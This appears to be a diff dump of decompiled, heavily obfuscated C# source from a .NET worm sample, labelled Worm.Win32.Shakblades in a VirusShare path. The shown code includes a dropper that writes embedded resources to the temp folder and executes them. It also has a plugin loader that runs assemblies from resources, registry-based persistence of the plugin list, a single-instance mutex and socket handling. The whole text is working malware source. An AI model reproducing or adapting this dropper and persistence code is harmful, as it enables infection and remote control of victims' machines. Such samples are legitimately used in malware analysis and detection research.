public void ӊᖍւጨΟ\u0095ᠫஷ٤(string _param1)
|
||||
{
|
||||
\u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6();
|
||||
obj.Write(_param1);
|
||||
this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᑣ᧑, obj.ࠨ಼\u10CEᇥ\u1CA0ฉ()).ᖣᅸڨฃ());
|
||||
}
|
||||
|
||||
public bool ຳѤᙍַኅߣϐᅍ(bool _param1)
|
||||
{
|
||||
if (!this.ང\u10CEಖᠪ)
|
||||
return false;
|
||||
this.\u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర();
|
||||
this.ང\u10CEಖᠪ = false;
|
||||
if (_param1 && this.ᴾੜᦇ\u0530ӟḍ್් != null)
|
||||
this.ᴾੜᦇ\u0530ӟḍ್්((object) this, (EventArgs) null);
|
||||
return true;
|
||||
}
|
||||
|
||||
public void \u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర()
|
||||
{
|
||||
try
|
||||
{
|
||||
this.\u1AF2ۈ\u18ADф٣ɶ̽.Close();
|
||||
this.\u1AF2ۈ\u18ADф٣ɶ̽ = (Socket) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Abort();
|
||||
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = (Thread) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public event EventHandler ƬԀඈ;
|
||||
|
||||
public event EventHandler ȉ᧗ቦᡭଔƯ᪽\u06DE;
|
||||
|
||||
public event EventHandler<\u00B1ჵઆЩᎮɀኤʨՃ> ဢᰣᘜᗎളಘ\u19EDᡝ;
|
||||
|
||||
public event EventHandler<ᛕᔱ\u05CDᨈكအ\u0FFEན> nᶏ\u0BFD;
|
||||
|
||||
public enum ƪᆌቬኆ২ᇖࣩᄦ
|
||||
{
|
||||
ፒሼࠓઑᕹᙒ\u0FECᡱ = 0,
|
||||
\u0F38ླ = 1,
|
||||
ᠭÙ = 2,
|
||||
ᜇࣧᴵࣴᏐᛇਝ = 3,
|
||||
\u0A5D\u0862Fπ = 4,
|
||||
ᘷᡣ = 5,
|
||||
ᄹٷᵹ = 6,
|
||||
ੲ = 7,
|
||||
ᮜᇖĺ̠Êᰆᡌᩉ\u0B49 = 8,
|
||||
ຜભᆰᮄعẏڡᯋ = 9,
|
||||
ԫЯࡃ = 15, // 0x0000000F
|
||||
ᩅ4ഗ = 16, // 0x00000010
|
||||
బጲ\u0D99ᘔߥᗓᆵ = 17, // 0x00000011
|
||||
ב = 18, // 0x00000012
|
||||
ឰಊୟ\u07BA = 19, // 0x00000013
|
||||
ᗽ\u0D56ᐁན᱘ = 20, // 0x00000014
|
||||
ᑣ᧑ = 21, // 0x00000015
|
||||
ᰟƓ = 22, // 0x00000016
|
||||
\u1F16Ʈᝐ\u0F6Dṡ\u0E85 = 23, // 0x00000017
|
||||
ᑎ\u0F2EተױၦѶᣔᘬ = 24, // 0x00000018
|
||||
\u1C92\u193F\u0EFA = 25, // 0x00000019
|
||||
}
|
||||
}
|
||||
}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.෧ᠮबZố
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Threading;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class \u09D0෧ᠮबZố
|
||||
{
|
||||
public static void ᬪ() => new Thread((ThreadStart) (() =>
|
||||
{
|
||||
BinaryReader binaryReader = new BinaryReader((Stream) new MemoryStream(\u1928ᔾዔ.ᖝሇᬐ\u09D1য়᪷((byte[]) new ResourceManager("b", Assembly.GetExecutingAssembly()).GetObject("b"), false)));
|
||||
while (binaryReader.PeekChar() != -1)
|
||||
{
|
||||
string str = binaryReader.ReadString();
|
||||
int count = binaryReader.ReadInt32();
|
||||
byte[] bytes = binaryReader.ReadBytes(count);
|
||||
try
|
||||
{
|
||||
if (!File.Exists(Path.GetTempPath() + str))
|
||||
File.WriteAllBytes(Path.GetTempPath() + str, bytes);
|
||||
Process.Start(Path.GetTempPath() + str);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
})).Start();
|
||||
}
|
||||
}
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class \u0BCF
|
||||
{
|
||||
private const uint ଫᛰ\u139Eਗ = 1024;
|
||||
private const uint ងߦĢ๐ = 4098;
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "GetLocaleInfo")]
|
||||
private static extern int ṟ\u0F07صႄȷ\u18ACᤖ(
|
||||
uint _param0,
|
||||
uint _param1,
|
||||
[Out] StringBuilder ҒʼnƔ,
|
||||
int _param3);
|
||||
|
||||
private static string ᚣᎠ᪒е(uint Ḷౘᚁᨁኢࢥᄂᴹ)
|
||||
{
|
||||
StringBuilder ҒʼnƔ = new StringBuilder(256);
|
||||
int num = \u0BCF.ṟ\u0F07صႄȷ\u18ACᤖ(1024U, Ḷౘᚁᨁኢࢥᄂᴹ, ҒʼnƔ, ҒʼnƔ.Capacity);
|
||||
return num > 0 ? ҒʼnƔ.ToString().Substring(0, num - 1) : string.Empty;
|
||||
}
|
||||
|
||||
public static string \u1819ᮋ() => \u0BCF.ᚣᎠ᪒е(4098U);
|
||||
}
|
||||
}
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.์ኘ᳒ধڿቷ፳৶
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System.IO;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class \u0E4Cኘ᳒ধڿቷ\u1373\u09F6 : BinaryWriter
|
||||
{
|
||||
private MemoryStream \u1B60ᘠཊܓԎ\u0C79Ҹ;
|
||||
|
||||
public \u0E4Cኘ᳒ধڿቷ\u1373\u09F6()
|
||||
{
|
||||
this.\u1B60ᘠཊܓԎ\u0C79Ҹ = new MemoryStream();
|
||||
this.OutStream = (Stream) this.\u1B60ᘠཊܓԎ\u0C79Ҹ;
|
||||
}
|
||||
|
||||
public byte[] ࠨ಼\u10CEᇥ\u1CA0ฉ()
|
||||
{
|
||||
this.Close();
|
||||
byte[] array = this.\u1B60ᘠཊܓԎ\u0C79Ҹ.ToArray();
|
||||
this.\u1B60ᘠཊܓԎ\u0C79Ҹ.Dispose();
|
||||
this.\u1B60ᘠཊܓԎ\u0C79Ҹ = (MemoryStream) null;
|
||||
return array;
|
||||
}
|
||||
}
|
||||
}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ಡભ᭻
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System.Threading;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class \u0F48ಡભ\u1B7B
|
||||
{
|
||||
private static Mutex ᔙᴕబ;
|
||||
|
||||
public static bool ඵΠ႙\u1AE1\u0F0E\u0BF1 => !\u0F48ಡભ\u1B7B.ᔙᴕబ.WaitOne(0, false);
|
||||
|
||||
public static void \u1393\u001Aኬ\u1AFB\u0A77(string _param0)
|
||||
{
|
||||
if (\u0F48ಡભ\u1B7B.ᔙᴕబ != null)
|
||||
return;
|
||||
\u0F48ಡભ\u1B7B.ᔙᴕబ = new Mutex(false, _param0);
|
||||
}
|
||||
|
||||
public static void Ԩਲᨘᅷصၺ()
|
||||
{
|
||||
if (\u0F48ಡભ\u1B7B.ᔙᴕబ == null)
|
||||
return;
|
||||
\u0F48ಡભ\u1B7B.ᔙᴕబ.Close();
|
||||
\u0F48ಡભ\u1B7B.ᔙᴕబ = (Mutex) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ᐃ੍ẽϝᕦ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
using System.Net.Sockets;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class ᐃ੍ẽϝᕦ : EventArgs
|
||||
{
|
||||
private SocketError ځࣼᅍ;
|
||||
private int ᄖᦪ\u0AD3Ἣ;
|
||||
|
||||
public ᐃ੍ẽϝᕦ(SocketError s_err, int s_n_err)
|
||||
{
|
||||
this.ځࣼᅍ = s_err;
|
||||
this.ᄖᦪ\u0AD3Ἣ = s_n_err;
|
||||
}
|
||||
|
||||
public SocketError \u196Eᪧᣆ\u0A50 => this.ځࣼᅍ;
|
||||
|
||||
public int \u19D1ႎᴙ\u09D6᭮᭲ᘫᕶᣠ => this.ᄖᦪ\u0AD3Ἣ;
|
||||
}
|
||||
}
|
||||
+221
@@ -0,0 +1,221 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ᘽƭ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
public class ᘽƭ : IDisposable
|
||||
{
|
||||
private const int ሜኯᴭၚ໓ম\u1B7Eıᗝ = 1;
|
||||
private const int \u0D58Ꮈೇ\u00AEႍ = 16;
|
||||
private const int \u08D2ᰆ = 131072;
|
||||
private static readonly IntPtr ốኯՕằቜ\u0FC9ˡ = new IntPtr(int.MinValue);
|
||||
private static readonly IntPtr ᄉǹ\u05FFఔ = new IntPtr(-2147483647);
|
||||
private static readonly IntPtr \u1C31᪱ࢢ = new IntPtr(-2147483646);
|
||||
private static readonly IntPtr ምࢨញഥ = new IntPtr(-2147483645);
|
||||
private static readonly IntPtr ৰ\u139Fᙇ = new IntPtr(-2147483644);
|
||||
private static readonly IntPtr yଳጻഷቝ = new IntPtr(-2147483643);
|
||||
private static readonly IntPtr \u176D᧒ޢਕೆጾૐ = new IntPtr(-2147483642);
|
||||
private IntPtr \u0029Ѽ\u09D1ᚻ\u08BFჶ;
|
||||
private string ˣཐᛮ;
|
||||
private object ϒ\u0EDBไᏧ\u0CC5ᒎႛᬛ = new object();
|
||||
private Thread ݍࠗ\u0B98\u0FF8᳡ષρᎻ;
|
||||
private ManualResetEvent \u08F1ᤜᬯ = new ManualResetEvent(false);
|
||||
private \u187Bȸº᭰\u09FC Ẏᛑደ = \u187Bȸº᭰\u09FC.ഴᏮ\u18ABٞᴑ\u1C96ᦁྌᚳ | \u187Bȸº᭰\u09FC.ᰃ | \u187Bȸº᭰\u09FC.ཅ\u000A | \u187Bȸº᭰\u09FC.ẟᛗᚕ\u0C11ᘾ;
|
||||
|
||||
public ᘽƭ(RegistryKey registryKey) => this.\u05F8ᨅ᩵۷ኝ᭯(registryKey.Name);
|
||||
|
||||
public ᘽƭ(string name) => this.\u05F8ᨅ᩵۷ኝ᭯(name);
|
||||
|
||||
public ᘽƭ(RegistryHive registryHive, string subKey) => this.ᳶ\u1A8Cˉၕᖁ\u001Eඹᶋ(registryHive, subKey);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint = "RegOpenKeyEx", SetLastError = true)]
|
||||
private static extern int ᴊזى\u0C70\u0DCE\u0DF4(
|
||||
IntPtr _param0,
|
||||
string _param1,
|
||||
uint ᅾፂÇ៌ڔᶷॠᯊ,
|
||||
int _param3,
|
||||
out IntPtr _param4);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint = "RegNotifyChangeKeyValue", SetLastError = true)]
|
||||
private static extern int \u0731ᄦѧ\u08D2װ\u002Fᇣ(
|
||||
IntPtr _param0,
|
||||
bool _param1,
|
||||
\u187Bȸº᭰\u09FC _param2,
|
||||
IntPtr _param3,
|
||||
bool _param4);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint = "RegCloseKey", SetLastError = true)]
|
||||
private static extern int ᦍ\u0008Տ\u0DF9ទƕ\u02FD(IntPtr _param0);
|
||||
|
||||
public event EventHandler ဧŕᬐ\u0AD4߭;
|
||||
|
||||
protected virtual void OnRegChanged()
|
||||
{
|
||||
EventHandler eventHandler = this.\u0BF1;
|
||||
if (eventHandler == null)
|
||||
return;
|
||||
eventHandler((object) this, (EventArgs) null);
|
||||
}
|
||||
|
||||
public event ErrorEventHandler ᑂϦڢྜƘ;
|
||||
|
||||
protected virtual void OnError(Exception e)
|
||||
{
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
this.ᑺᆊᥖᅁỸਇয\u191F();
|
||||
GC.SuppressFinalize((object) this);
|
||||
}
|
||||
|
||||
public \u187Bȸº᭰\u09FC ܜᛓѕଢ਼֨᳑ᐱ
|
||||
{
|
||||
get => this.Ẏᛑደ;
|
||||
set
|
||||
{
|
||||
lock (this.ϒ\u0EDBไᏧ\u0CC5ᒎႛᬛ)
|
||||
this.Ẏᛑደ = value;
|
||||
}
|
||||
}
|
||||
|
||||
private void ᳶ\u1A8Cˉၕᖁ\u001Eඹᶋ(RegistryHive ᜥᡉԭᒧך, string ධᜁᄜᅩᖙᙜ)
|
||||
{
|
||||
switch (ᜥᡉԭᒧך)
|
||||
{
|
||||
case RegistryHive.ClassesRoot:
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ốኯՕằቜ\u0FC9ˡ;
|
||||
break;
|
||||
case RegistryHive.CurrentUser:
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ᄉǹ\u05FFఔ;
|
||||
break;
|
||||
case RegistryHive.LocalMachine:
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.\u1C31᪱ࢢ;
|
||||
break;
|
||||
case RegistryHive.Users:
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ምࢨញഥ;
|
||||
break;
|
||||
case RegistryHive.PerformanceData:
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ৰ\u139Fᙇ;
|
||||
break;
|
||||
case RegistryHive.CurrentConfig:
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.yଳጻഷቝ;
|
||||
break;
|
||||
case RegistryHive.DynData:
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.\u176D᧒ޢਕೆጾૐ;
|
||||
break;
|
||||
}
|
||||
this.ˣཐᛮ = ධᜁᄜᅩᖙᙜ;
|
||||
}
|
||||
|
||||
private void \u05F8ᨅ᩵۷ኝ᭯(string _param1)
|
||||
{
|
||||
string[] strArray = _param1.Split('\\');
|
||||
switch (strArray[0])
|
||||
{
|
||||
case "HKEY_CLASSES_ROOT":
|
||||
case "HKCR":
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ốኯՕằቜ\u0FC9ˡ;
|
||||
break;
|
||||
case "HKEY_CURRENT_USER":
|
||||
case "HKCU":
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ᄉǹ\u05FFఔ;
|
||||
break;
|
||||
case "HKEY_LOCAL_MACHINE":
|
||||
case "HKLM":
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.\u1C31᪱ࢢ;
|
||||
break;
|
||||
case "HKEY_USERS":
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ምࢨញഥ;
|
||||
break;
|
||||
case "HKEY_CURRENT_CONFIG":
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.yଳጻഷቝ;
|
||||
break;
|
||||
default:
|
||||
this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = IntPtr.Zero;
|
||||
break;
|
||||
}
|
||||
this.ˣཐᛮ = string.Join("\\", strArray, 1, strArray.Length - 1);
|
||||
}
|
||||
|
||||
public bool Ꮹ᷄ᡊ\u008Dᐳᆉܳ => this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ != null;
|
||||
|
||||
public void ůߝᨍ()
|
||||
{
|
||||
lock (this.ϒ\u0EDBไᏧ\u0CC5ᒎႛᬛ)
|
||||
{
|
||||
if (this.Ꮹ᷄ᡊ\u008Dᐳᆉܳ)
|
||||
return;
|
||||
this.\u08F1ᤜᬯ.Reset();
|
||||
this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ = new Thread(new ThreadStart(this.ဖཀྵ\u0F02̢᠗Ôଚ᭗ɭ));
|
||||
this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ.IsBackground = true;
|
||||
this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ.Start();
|
||||
}
|
||||
}
|
||||
|
||||
public void ᑺᆊᥖᅁỸਇয\u191F()
|
||||
{
|
||||
lock (this.ϒ\u0EDBไᏧ\u0CC5ᒎႛᬛ)
|
||||
{
|
||||
Thread ݍࠗ᳡ષρᎻ = this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ;
|
||||
if (ݍࠗ᳡ષρᎻ == null)
|
||||
return;
|
||||
this.\u08F1ᤜᬯ.Set();
|
||||
ݍࠗ᳡ષρᎻ.Join();
|
||||
}
|
||||
}
|
||||
|
||||
private void ဖཀྵ\u0F02̢᠗Ôଚ᭗ɭ()
|
||||
{
|
||||
try
|
||||
{
|
||||
this.ۺ៝\u05BE᭬ქ();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.OnError(ex);
|
||||
}
|
||||
this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ = (Thread) null;
|
||||
}
|
||||
|
||||
private void ۺ៝\u05BE᭬ქ()
|
||||
{
|
||||
IntPtr num;
|
||||
int error1 = ᘽƭ.ᴊזى\u0C70\u0DCE\u0DF4(this.\u0029Ѽ\u09D1ᚻ\u08BFჶ, this.ˣཐᛮ, 0U, 131089, out num);
|
||||
if (error1 != 0)
|
||||
throw new Win32Exception(error1);
|
||||
try
|
||||
{
|
||||
AutoResetEvent autoResetEvent = new AutoResetEvent(false);
|
||||
WaitHandle[] waitHandles = new WaitHandle[2]
|
||||
{
|
||||
(WaitHandle) autoResetEvent,
|
||||
(WaitHandle) this.\u08F1ᤜᬯ
|
||||
};
|
||||
while (!this.\u08F1ᤜᬯ.WaitOne(0, true))
|
||||
{
|
||||
int error2 = ᘽƭ.\u0731ᄦѧ\u08D2װ\u002Fᇣ(num, true, this.Ẏᛑደ, autoResetEvent.SafeWaitHandle.DangerousGetHandle(), true);
|
||||
if (error2 != 0)
|
||||
throw new Win32Exception(error2);
|
||||
if (WaitHandle.WaitAny(waitHandles) == 0)
|
||||
this.OnRegChanged();
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (num != IntPtr.Zero)
|
||||
ᘽƭ.ᦍ\u0008Տ\u0DF9ទƕ\u02FD(num);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ᙐᗡѬᵲ૦ᵛଔѥቾ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using Microsoft.Win32;
|
||||
using Plugin;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Runtime.Serialization.Formatters.Binary;
|
||||
using System.Threading;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
public class ᙐᗡѬᵲ૦ᵛଔѥቾ
|
||||
{
|
||||
public static SortedList<Guid, byte[]> \u0382Ⴊ\u19CD\u0DF1в = new SortedList<Guid, byte[]>();
|
||||
public static SortedList<Guid, IPlugin> රᓙ = new SortedList<Guid, IPlugin>();
|
||||
private static string \u1AA8ᓅȻٻ\u0DCE\u02F8\u193Cᰮ = string.Empty;
|
||||
|
||||
public static event ᙐᗡѬᵲ૦ᵛଔѥቾ.ᘕঃ \u0C11\u0FBFᵥރតൃĚŹᗐ;
|
||||
|
||||
public static void ᇎ()
|
||||
{
|
||||
try
|
||||
{
|
||||
BinaryFormatter binaryFormatter = new BinaryFormatter();
|
||||
MemoryStream serializationStream = new MemoryStream();
|
||||
binaryFormatter.Serialize((Stream) serializationStream, (object) ᙐᗡѬᵲ૦ᵛଔѥቾ.\u0382Ⴊ\u19CD\u0DF1в);
|
||||
serializationStream.Close();
|
||||
byte[] numArray = \u1928ᔾዔ.ᅀძṶၠ(serializationStream.ToArray(), false);
|
||||
if (ȩזြڹᡡỾỔው.Փᬃᜐᣖ̗ᨠᵴ == RegistryHive.CurrentUser)
|
||||
Registry.CurrentUser.CreateSubKey(ȩזြڹᡡỾỔው.\u187Dठ\u1371aːࠍؒ\u0A7Dᇁ).SetValue(ȩזြڹᡡỾỔው.ᠧᏄࣧެΙά\u066A, (object) numArray);
|
||||
else
|
||||
Registry.LocalMachine.CreateSubKey(ȩזြڹᡡỾỔው.\u187Dठ\u1371aːࠍؒ\u0A7Dᇁ).SetValue(ȩזြڹᡡỾỔው.ᠧᏄࣧެΙά\u066A, (object) numArray);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static void ʉᆖͧ\u05CB\u00A9ᤤդܛ() => new Thread((ThreadStart) (() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
BinaryFormatter binaryFormatter = new BinaryFormatter();
|
||||
MemoryStream memoryStream;
|
||||
byte[] numArray1;
|
||||
if (ȩזြڹᡡỾỔው.Փᬃᜐᣖ̗ᨠᵴ == RegistryHive.CurrentUser)
|
||||
{
|
||||
MemoryStream serializationStream = new MemoryStream(\u1928ᔾዔ.ᖝሇᬐ\u09D1য়᪷(Registry.CurrentUser.CreateSubKey(ȩזြڹᡡỾỔው.\u187Dठ\u1371aːࠍؒ\u0A7Dᇁ).GetValue(ȩזြڹᡡỾỔው.ᠧᏄࣧެΙά\u066A) as byte[], false));
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.\u0382Ⴊ\u19CD\u0DF1в = binaryFormatter.Deserialize((Stream) serializationStream) as SortedList<Guid, byte[]>;
|
||||
serializationStream.Close();
|
||||
serializationStream.Dispose();
|
||||
memoryStream = (MemoryStream) null;
|
||||
numArray1 = (byte[]) null;
|
||||
}
|
||||
else
|
||||
{
|
||||
MemoryStream serializationStream = new MemoryStream(\u1928ᔾዔ.ᖝሇᬐ\u09D1য়᪷(Registry.LocalMachine.CreateSubKey(ȩזြڹᡡỾỔው.\u187Dठ\u1371aːࠍؒ\u0A7Dᇁ).GetValue(ȩזြڹᡡỾỔው.ᠧᏄࣧެΙά\u066A) as byte[], false));
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.\u0382Ⴊ\u19CD\u0DF1в = binaryFormatter.Deserialize((Stream) serializationStream) as SortedList<Guid, byte[]>;
|
||||
serializationStream.Close();
|
||||
serializationStream.Dispose();
|
||||
memoryStream = (MemoryStream) null;
|
||||
numArray1 = (byte[]) null;
|
||||
}
|
||||
foreach (byte[] numArray2 in (IEnumerable<byte[]>) ᙐᗡѬᵲ૦ᵛଔѥቾ.\u0382Ⴊ\u19CD\u0DF1в.Values)
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.ͷᵐ݁ȁऴᡕ\u0EF1ቺ\u002F(numArray2);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
})).Start();
|
||||
|
||||
public static void dz() => new Thread((ThreadStart) (() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Assembly.GetExecutingAssembly().GetManifestResourceNames().Length == 0)
|
||||
return;
|
||||
ResourceManager resourceManager = new ResourceManager("p", Assembly.GetExecutingAssembly());
|
||||
int num = (int) resourceManager.GetObject("Len");
|
||||
for (int index = 0; index < num; ++index)
|
||||
{
|
||||
byte[] numArray = (byte[]) resourceManager.GetObject(index.ToString());
|
||||
Array.Reverse((Array) numArray);
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.ͷᵐ݁ȁऴᡕ\u0EF1ቺ\u002F(numArray);
|
||||
}
|
||||
if (!ȩזြڹᡡỾỔው.ጅũކᠾߠጇᔰᏫ)
|
||||
return;
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.ᇎ();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.Message);
|
||||
}
|
||||
})).Start();
|
||||
|
||||
public static bool ͷᵐ݁ȁऴᡕ\u0EF1ቺ\u002F(byte[] _param0)
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (Type type in Assembly.Load(_param0).GetTypes())
|
||||
{
|
||||
int num = 0;
|
||||
if (type.IsClass && type.IsSubclassOf(typeof (IPlugin)))
|
||||
{
|
||||
IPlugin instance = (IPlugin) Activator.CreateInstance(type);
|
||||
if (instance.ExecuteOnLoad)
|
||||
{
|
||||
instance.Initialize();
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.ᄄĐἮᥪ᭫ᘙȃই((object) null, instance, instance.ExecuteOnLoadArgs);
|
||||
}
|
||||
if (!ᙐᗡѬᵲ૦ᵛଔѥቾ.\u0382Ⴊ\u19CD\u0DF1в.ContainsKey(instance.Guid))
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.\u0382Ⴊ\u19CD\u0DF1в.Add(instance.Guid, _param0);
|
||||
else
|
||||
++num;
|
||||
if (!ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.ContainsKey(instance.Guid))
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.Add(instance.Guid, instance);
|
||||
else
|
||||
++num;
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.\u1AA8ᓅȻٻ\u0DCE\u02F8\u193Cᰮ = string.Empty;
|
||||
if (num == 2)
|
||||
{
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.\u1AA8ᓅȻٻ\u0DCE\u02F8\u193Cᰮ = instance.Name + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("bVN0n6WYlJcznRO9rFOGp6KlmJc=", true);
|
||||
return false;
|
||||
}
|
||||
if (ᙐᗡѬᵲ૦ᵛଔѥቾ.ޅ\u0ADCğඐႳᚦ\u086Fn\u09FA != null)
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.ޅ\u0ADCğඐႳᚦ\u086Fn\u09FA((object) null, instance);
|
||||
return true;
